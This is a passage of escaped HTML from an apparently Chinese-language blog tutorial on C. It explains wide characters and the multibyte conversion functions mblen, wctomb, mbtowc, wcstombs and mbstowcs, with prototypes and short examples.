s);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,前缀“L”在单引号前面,表示宽字符,对应\u003ccode\u003eprintf()\u003c/code\u003e的占位符为\u003ccode\u003e%lc\u003c/code\u003e;在双引号前面,表示宽字符串,对应\u003ccode\u003eprintf()\u003c/code\u003e的占位符为\u003ccode\u003e%ls\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e宽字符串的结尾也有一个空字符,不过是宽空字符,占用多个字节。\u003c/p\u003e\u003cp\u003e处理宽字符,需要使用宽字符专用的函数,绝大部分都定义在头文件\u003ccode\u003ewchar.h\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"多字节字符处理函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E5%AD%97%E8%8A%82%E5%AD%97%E7%AC%A6%E5%A4%84%E7%90%86%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"多字节字符处理函数\"\u003e\u003c/a\u003e多字节字符处理函数\u003c/h3\u003e\u003ch4 id=\"mblen\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#mblen\" class=\"headerlink\" title=\"mblen()\"\u003e\u003c/a\u003emblen()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003emblen()\u003c/code\u003e函数返回一个多字节字符占用的字符数。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emblen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbstr, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是多字节字符串指针,一般会检查该字符串的第一个字符;第二个参数是需要检查的字节数,这个数字不能大于当前系统单个字符占用的最大字节,一般使用\u003ccode\u003eMB_CUR_MAX\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e它的返回值是该字符占用的字节数。如果当前字符是空的宽字符,则返回\u003ccode\u003e0\u003c/code\u003e;如果当前字符不是有效的多字节字符,则返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbs1 = \u003cspan class=\"string\"\u003e\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, mblen(mbs1, MB_CUR_MAX)); \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbs2 = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, mblen(mbs2, MB_CUR_MAX)); \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串“春天”的第一个字符“春”,占用3个字节;字符串“abc”的第一个字符“a”,占用1个字节。\u003c/p\u003e\u003ch4 id=\"wctomb\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#wctomb\" class=\"headerlink\" title=\"wctomb()\"\u003e\u003c/a\u003ewctomb()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003ewctomb()\u003c/code\u003e函数(wide character to multibyte)用于将宽字符转为多字节字符。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ewctomb\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s, \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e wc)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ewctomb()\u003c/code\u003e接受两个参数,第一个参数是作为目标的多字节字符数组,第二个参数是需要转换的一个宽字符。它的返回值是多字节字符存储占用的字节数量,如果无法转换,则返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e wc = \u003cspan class=\"string\"\u003eL\u0026#39;牛\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e mbStr[\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e nBytes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enBytes = wctomb(mbStr, wc);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, mbStr); \u003cspan class=\"comment\"\u003e// 牛\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, nBytes); \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ewctomb()\u003c/code\u003e将宽字符“牛”转为多字节字符,\u003ccode\u003ewctomb()\u003c/code\u003e的返回值表示转换后的多字节字符占用3个字节。\u003c/p\u003e\u003ch4 id=\"mbtowc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#mbtowc\" class=\"headerlink\" title=\"mbtowc()\"\u003e\u003c/a\u003embtowc()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003embtowc()\u003c/code\u003e用于将多字节字符转为宽字符。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003embtowc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* wchar,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbchar,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e count\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受3个参数,第一个参数是作为目标的宽字符指针,第二个参数是待转换的多字节字符指针,第三个参数是多字节字符的字节数。\u003c/p\u003e\u003cp\u003e它的返回值是多字节字符的字节数,如果转换失败,则返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbchar = \u003cspan class=\"string\"\u003e\u0026#34;牛\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e wc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* pwc = \u0026amp;wc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e nBytes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enBytes = mbtowc(pwc, mbchar, \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, nBytes); \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lc\\n\u0026#34;\u003c/span\u003e, *pwc); \u003cspan class=\"comment\"\u003e// 牛\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003embtowc()\u003c/code\u003e将多字节字符“牛”转为宽字符\u003ccode\u003ewc\u003c/code\u003e,返回值是\u003ccode\u003embchar\u003c/code\u003e占用的字节数(占用3个字节)。\u003c/p\u003e\u003ch4 id=\"wcstombs\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#wcstombs\" class=\"headerlink\" title=\"wcstombs()\"\u003e\u003c/a\u003ewcstombs()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003ewcstombs()\u003c/code\u003e用来将宽字符串转换为多字节字符串。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003ewcstombs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbstr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* wcstr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e count\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受三个参数,第一个参数\u003ccode\u003embstr\u003c/code\u003e是目标的多字节字符串指针,第二个参数\u003ccode\u003ewcstr\u003c/code\u003e是待转换的宽字符串指针,第三个参数\u003ccode\u003ecount\u003c/code\u003e是用来存储多字节字符串的最大字节数。\u003c/p\u003e\u003cp\u003e如果转换成功,它的返回值是成功转换后的多字节字符串的字节数,不包括尾部的字符串终止符;如果转换失败,则返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e mbs[\u003cspan class=\"number\"\u003e20\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* wcs = \u003cspan class=\"string\"\u003eL\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e nBytes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enBytes = wcstombs(mbs, wcs, \u003cspan class=\"number\"\u003e20\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, mbs); \u003cspan class=\"comment\"\u003e// 春天\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, nBytes); \u003cspan class=\"comment\"\u003e// 6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ewcstombs()\u003c/code\u003e将宽字符串\u003ccode\u003ewcs\u003c/code\u003e转为多字节字符串\u003ccode\u003embs\u003c/code\u003e,返回值\u003ccode\u003e6\u003c/code\u003e表示写入\u003ccode\u003embs\u003c/code\u003e的字符串占用6个字节,不包括尾部的字符串终止符。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003ewcstombs()\u003c/code\u003e的第一个参数是 NULL,则返回转换成功所需要的目标字符串的字节数。\u003c/p\u003e\u003ch4 id=\"mbstowcs\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#mbstowcs\" class=\"headerlink\" title=\"mbstowcs()\"\u003e\u003c/a\u003embstowcs()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003embstowcs()\u003c/code\u003e用来将多字节字符串转换为宽字符串。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003embstowcs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* wcstr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbstr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e count\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受三个参数,第一个参数\u003ccode\u003ewcstr\u003c/code\u003e是目标宽字符串,第二个参数\u003ccode\u003embstr\u003c/code\u003e是待转换的多字节字符串,第三个参数是待转换的多字节字符串的最大字符数。\u003c/p\u003e\u003cp\u003e转换成功时,它的返回值是成功转换的多字节字符的数量;转换失败时,返回\u003ccode\u003e-1\u003c/code\u003e。如果返回值与第三个参数相同,那么转换后的宽字符串不是以 NULL 结尾的。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbs = \u003cspan class=\"string\"\u003e\u0026#34;天气不错\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e wcs[\u003cspan class=\"number\"\u003e20\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e nBytes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enBytes = mbstowcs(wcs, mbs, \u003cspan class=\"number\"\u003e20\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan 